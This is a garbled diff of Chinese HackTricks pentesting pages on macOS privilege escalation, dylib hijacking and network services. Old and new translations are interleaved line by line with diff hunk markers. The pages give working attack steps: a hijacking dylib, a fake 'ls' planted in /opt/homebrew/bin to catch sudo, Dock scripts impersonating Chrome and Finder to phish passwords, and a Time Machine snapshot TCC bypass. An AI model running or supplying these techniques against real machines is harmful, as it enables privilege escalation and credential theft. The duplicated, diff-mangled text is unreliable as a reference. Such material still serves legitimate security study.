所以,可以劫持它!创建一个库,**执行一些任意代码并导出与合法库相同的功能**,通过重新导出它。并记得使用预期的版本进行编译:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -122,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
|
||||
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -143,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
最后只需将其复制到**劫持位置**:
|
||||
最后将其复制到**劫持的位置**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -151,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
然后**执行**二进制文件并检查**库是否被加载**:
|
||||
并**执行**二进制文件并检查**库是否已加载**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib 被劫持在 /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>用法: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
|
||||
关于如何利用此漏洞滥用 Telegram 的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
|
||||
{% endhint %}
|
||||
|
||||
## 更大规模
|
||||
|
||||
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。
|
||||
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除 printf 和 `/bin/bash` 执行)。
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# macOS Privilege Escalation
|
||||
# macOS 提权
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## TCC权限提升
|
||||
## TCC 提权
|
||||
|
||||
如果您在这里寻找TCC权限提升,请转到:
|
||||
如果你来这里寻找 TCC 提权,请访问:
|
||||
|
||||
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||||
[macos-tcc](macos-security-protections/macos-tcc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Linux权限提升
|
||||
## Linux 提权
|
||||
|
||||
请注意,**大多数关于影响Linux/Unix权限提升的技巧也会影响MacOS**机器。因此请参考:
|
||||
请注意,**大多数影响 Linux/Unix 的提权技巧也会影响 macOS** 机器。因此请查看:
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
|
@ -32,12 +33,11 @@
|
|||
|
||||
## 用户交互
|
||||
|
||||
### Sudo劫持
|
||||
### Sudo 劫持
|
||||
|
||||
您可以在[Linux权限提升文章中找到原始的Sudo劫持技术](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
|
||||
|
||||
然而,macOS在用户执行\*\*`sudo`**时会**保留**用户的**`PATH`**。这意味着实现此攻击的另一种方法是**劫持受害者在运行sudo时执行的其他二进制文件\*\*:
|
||||
你可以在 Linux 提权文章中找到原始的 [Sudo 劫持技巧](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
|
||||
|
||||
然而,macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件受害者在 **运行 sudo** 时仍会执行:
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
|
@ -52,17 +52,17 @@ chmod +x /opt/homebrew/bin/ls
|
|||
# victim
|
||||
sudo ls
|
||||
```
|
||||
注意,使用终端的用户很可能已经**安装了 Homebrew**。因此,可以劫持**`/opt/homebrew/bin`**中的二进制文件。
|
||||
|
||||
注意,使用终端的用户很可能已经安装了**Homebrew**。因此,有可能劫持\*\*`/opt/homebrew/bin`\*\*中的二进制文件。
|
||||
### Dock 冒充
|
||||
|
||||
### Dock冒充
|
||||
|
||||
通过一些**社会工程学**手段,您可以在Dock中**冒充例如Google Chrome**,实际上执行您自己的脚本:
|
||||
通过一些**社会工程学**,你可以在 Dock 中**冒充例如 Google Chrome**,并实际执行你自己的脚本:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Chrome 冒充" %}
|
||||
一些建议:
|
||||
|
||||
* 在Dock中检查是否有Chrome,如果有的话,**移除**该条目,并在Dock数组的相同位置**添加**一个**伪造的Chrome条目**。
|
||||
|
||||
* 在 Dock 中检查是否有 Chrome,如果有,**删除**该条目并在 Dock 数组的相同位置**添加****假冒**的**Chrome 条目**。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -132,15 +132,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
|||
sleep 0.1
|
||||
killall Dock
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Finder 冒充" %}
|
||||
一些建议:
|
||||
|
||||
* 你**无法从Dock中移除Finder**,所以如果你要将其添加到Dock中,你可以将假的Finder放在真正的Finder旁边。为此,你需要**将假的Finder条目添加到Dock数组的开头**。
|
||||
* 另一个选择是不将其放在Dock中,只是打开它,“Finder要求控制Finder”并不奇怪。
|
||||
* 另一个升级到root权限而不需要密码的可怕框的选项是让Finder真的要求输入密码来执行特权操作:
|
||||
* 要求Finder将新的\*\*`sudo`**文件复制到**`/etc/pam.d`\*\*(提示要求输入密码将指示“Finder想要复制sudo”)
|
||||
* 要求Finder复制一个新的**授权插件**(你可以控制文件名,以便提示要求输入密码将指示“Finder想要复制Finder.bundle”)
|
||||
|
||||
* 你 **无法从 Dock 中移除 Finder**,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 的旁边。为此,你需要 **在 Dock 数组的开头添加假 Finder 条目**。
|
||||
* 另一个选项是不要将其放在 Dock 中,只需打开它,“Finder 请求控制 Finder”并不奇怪。
|
||||
* 另一个选项是 **在不询问密码的情况下提升到 root**,通过一个可怕的框,实际上让 Finder 询问密码以执行特权操作:
|
||||
* 请求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**(提示询问密码将表明“Finder 想要复制 sudo”)
|
||||
* 请求 Finder 复制一个新的 **授权插件**(你可以控制文件名,以便提示询问密码将表明“Finder 想要复制 Finder.bundle”)
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -210,14 +211,17 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
|||
sleep 0.1
|
||||
killall Dock
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## TCC - 提权漏洞
|
||||
## TCC - 根权限提升
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC绕过和提权
|
||||
### CVE-2020-9771 - mount\_apfs TCC 绕过和权限提升
|
||||
|
||||
**任何用户**(甚至是非特权用户)都可以创建和挂载一个时间机器快照,并**访问该快照的所有文件**。\
|
||||
唯一需要的特权是所使用的应用程序(如`Terminal`)需要具有**完全磁盘访问权限**(FDA)(`kTCCServiceSystemPolicyAllfiles`),这需要由管理员授予。
|
||||
**任何用户**(甚至是没有特权的用户)都可以创建并挂载时间机器快照,并**访问该快照的所有文件**。\
|
||||
所需的**唯一特权**是用于的应用程序(如 `Terminal`)必须具有**完全磁盘访问**(FDA)权限(`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
|
@ -237,27 +241,29 @@ mkdir /tmp/snap
|
|||
# Access it
|
||||
ls /tmp/snap/Users/admin_user # This will work
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
|
||||
|
||||
## 敏感信息
|
||||
|
||||
这可能对提升权限有用:
|
||||
这可以用于提升权限:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# macOS网络服务与协议
|
||||
# macOS 网络服务与协议
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 远程访问服务
|
||||
|
||||
这些是常见的macOS远程访问服务。\
|
||||
您可以在`系统偏好设置` --> `共享`中启用/禁用这些服务
|
||||
这些是常见的 macOS 服务,用于远程访问它们。\
|
||||
您可以在 `系统设置` --> `共享` 中启用/禁用这些服务。
|
||||
|
||||
* **VNC**,称为“屏幕共享”(tcp:5900)
|
||||
* **SSH**,称为“远程登录”(tcp:22)
|
||||
* **Apple远程桌面**(ARD),或称“远程管理”(tcp:3283,tcp:5900)
|
||||
* **AppleEvent**,称为“远程Apple事件”(tcp:3031)
|
||||
* **Apple 远程桌面**(ARD),或称为“远程管理”(tcp:3283, tcp:5900)
|
||||
* **AppleEvent**,称为“远程 Apple 事件”(tcp:3031)
|
||||
|
||||
运行以下命令检查是否已启用任何服务:
|
||||
检查是否启用任何服务,运行:
|
||||
```bash
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
|
@ -34,60 +35,62 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
|||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||
```
|
||||
### 渗透测试 ARD
|
||||
### Pentesting ARD
|
||||
|
||||
Apple 远程桌面(ARD)是专为 macOS 定制的 [虚拟网络计算(VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 的增强版本,提供了额外的功能。 ARD 中一个显著的漏洞是其用于控制屏幕密码的身份验证方法,仅使用密码的前 8 个字符,使其容易受到[暴力破解攻击](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)的影响,使用 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 等工具,因为没有默认速率限制。
|
||||
Apple Remote Desktop (ARD) 是一个针对 macOS 的增强版 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing),提供额外的功能。ARD 中一个显著的漏洞是其控制屏幕密码的认证方法,仅使用密码的前 8 个字符,这使其容易受到 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 的攻击,使用像 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具,因为没有默认的速率限制。
|
||||
|
||||
可以使用 **nmap** 的 `vnc-info` 脚本来识别存在漏洞的实例。支持 `VNC Authentication (2)` 的服务特别容易受到暴力破解攻击的影响,因为密码被截断为 8 个字符。
|
||||
可以使用 **nmap** 的 `vnc-info` 脚本识别易受攻击的实例。支持 `VNC Authentication (2)` 的服务由于 8 字符密码截断而特别容易受到暴力攻击。
|
||||
|
||||
要为各种管理任务(如特权升级、GUI 访问或用户监控)启用 ARD,请使用以下命令:
|
||||
要启用 ARD 以进行特权提升、GUI 访问或用户监控等各种管理任务,请使用以下命令:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
## Bonjour协议
|
||||
ARD 提供多种控制级别,包括观察、共享控制和完全控制,且会话在用户密码更改后仍然持续。它允许直接发送 Unix 命令,并以 root 身份执行这些命令,适用于管理用户。任务调度和远程 Spotlight 搜索是显著的功能,便于在多台机器上进行远程、低影响的敏感文件搜索。
|
||||
|
||||
Bonjour是苹果设计的技术,允许**同一网络上的设备检测彼此提供的服务**。也被称为Rendezvous、**零配置**或Zeroconf,它使设备可以加入TCP/IP网络,**自动选择IP地址**,并向其他网络设备广播其服务。
|
||||
## Bonjour 协议
|
||||
|
||||
由Bonjour提供的零配置网络确保设备可以:
|
||||
* **即使没有DHCP服务器,也能自动获取IP地址**。
|
||||
* 在不需要DNS服务器的情况下执行**名称到地址的转换**。
|
||||
* **发现**网络上可用的服务。
|
||||
Bonjour 是苹果设计的技术,允许 **同一网络上的设备检测彼此提供的服务**。也称为 Rendezvous、**零配置**或 Zeroconf,它使设备能够加入 TCP/IP 网络,**自动选择 IP 地址**,并将其服务广播给其他网络设备。
|
||||
|
||||
使用Bonjour的设备将从**169.254/16范围内分配给自己一个IP地址**,并验证其在网络上的唯一性。Mac会为这个子网维护一个路由表条目,可以通过`netstat -rn | grep 169`进行验证。
|
||||
Bonjour 提供的零配置网络确保设备可以:
|
||||
* **自动获取 IP 地址**,即使在没有 DHCP 服务器的情况下。
|
||||
* 执行 **名称到地址的转换**,而无需 DNS 服务器。
|
||||
* **发现网络上可用的服务**。
|
||||
|
||||
对于DNS,Bonjour利用**多播DNS(mDNS)协议**。mDNS通过**端口5353/UDP**运行,使用**标准DNS查询**,但针对**多播地址224.0.0.251**。这种方法确保网络上所有监听设备都可以接收和响应查询,促进其记录的更新。
|
||||
使用 Bonjour 的设备将自我分配一个 **来自 169.254/16 范围的 IP 地址**,并验证其在网络上的唯一性。Mac 维护此子网的路由表条目,可以通过 `netstat -rn | grep 169` 验证。
|
||||
|
||||
加入网络后,每个设备会自行选择一个名称,通常以**.local**结尾,可以从主机名或随机生成。
|
||||
对于 DNS,Bonjour 利用 **多播 DNS (mDNS) 协议**。mDNS 在 **port 5353/UDP** 上运行,采用 **标准 DNS 查询**,但目标是 **多播地址 224.0.0.251**。这种方法确保网络上所有监听设备都能接收和响应查询,从而促进其记录的更新。
|
||||
|
||||
网络内的服务发现由**DNS服务发现(DNS-SD)**实现。利用DNS SRV记录的格式,DNS-SD使用**DNS PTR记录**来列出多个服务。寻找特定服务的客户端将请求`<Service>.<Domain>`的PTR记录,如果服务来自多个主机,则会收到格式为`<Instance>.<Service>.<Domain>`的PTR记录列表。
|
||||
加入网络后,每个设备自我选择一个名称,通常以 **.local** 结尾,该名称可能源自主机名或随机生成。
|
||||
|
||||
`dns-sd`实用程序可用于**发现和广告网络服务**。以下是一些使用示例:
|
||||
网络内的服务发现由 **DNS 服务发现 (DNS-SD)** 促进。利用 DNS SRV 记录的格式,DNS-SD 使用 **DNS PTR 记录** 来启用多个服务的列出。寻求特定服务的客户端将请求 `<Service>.<Domain>` 的 PTR 记录,如果该服务在多个主机上可用,则返回格式为 `<Instance>.<Service>.<Domain>` 的 PTR 记录列表。
|
||||
|
||||
### 搜索SSH服务
|
||||
`dns-sd` 工具可用于 **发现和广告网络服务**。以下是其用法的一些示例:
|
||||
|
||||
要在网络上搜索SSH服务,使用以下命令:
|
||||
### 搜索 SSH 服务
|
||||
|
||||
要在网络上搜索 SSH 服务,可以使用以下命令:
|
||||
```bash
|
||||
dns-sd -B _ssh._tcp
|
||||
```
|
||||
这个命令启动了对_ssh._tcp服务的浏览,并输出时间戳、标志、接口、域、服务类型和实例名称等详细信息。
|
||||
此命令启动对 _ssh._tcp 服务的浏览,并输出详细信息,如时间戳、标志、接口、域、服务类型和实例名称。
|
||||
|
||||
### 广告一个HTTP服务
|
||||
### 广播 HTTP 服务
|
||||
|
||||
要广告一个HTTP服务,你可以使用:
|
||||
要广播 HTTP 服务,可以使用:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
这个命令在端口80上注册了一个名为“Index”的HTTP服务,路径为`/index.html`。
|
||||
此命令在端口 80 上注册一个名为 "Index" 的 HTTP 服务,路径为 `/index.html`。
|
||||
|
||||
要在网络上搜索HTTP服务:
|
||||
然后在网络上搜索 HTTP 服务:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
当服务启动时,它通过多播方式宣布其在子网上的可用性,对这些服务感兴趣的设备无需发送请求,只需监听这些公告。
|
||||
当服务启动时,它通过多播其存在向子网中的所有设备宣布其可用性。对这些服务感兴趣的设备无需发送请求,只需监听这些公告。
|
||||
|
||||
为了提供更用户友好的界面,可在Apple App Store上获取的**Discovery - DNS-SD Browser**应用程序可以可视化本地网络上提供的服务。
|
||||
为了提供更友好的界面,可以在Apple App Store上使用**Discovery - DNS-SD Browser**应用程序来可视化您本地网络上提供的服务。
|
||||
|
||||
或者,可以编写自定义脚本来使用`python-zeroconf`库浏览和发现服务。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)脚本演示了为`_http._tcp.local.`服务创建服务浏览器,打印已添加或已移除的服务:
|
||||
或者,可以编写自定义脚本,使用`python-zeroconf`库浏览和发现服务。 [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)脚本演示了如何为`_http._tcp.local.`服务创建服务浏览器,打印添加或移除的服务:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
|
@ -108,27 +111,28 @@ input("Press enter to exit...\n\n")
|
|||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
### 禁用Bonjour
|
||||
如果有安全方面的顾虑或其他原因需要禁用Bonjour,可以使用以下命令关闭:
|
||||
### 禁用 Bonjour
|
||||
如果出于安全考虑或其他原因需要禁用 Bonjour,可以使用以下命令关闭它:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**Mac黑客手册**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
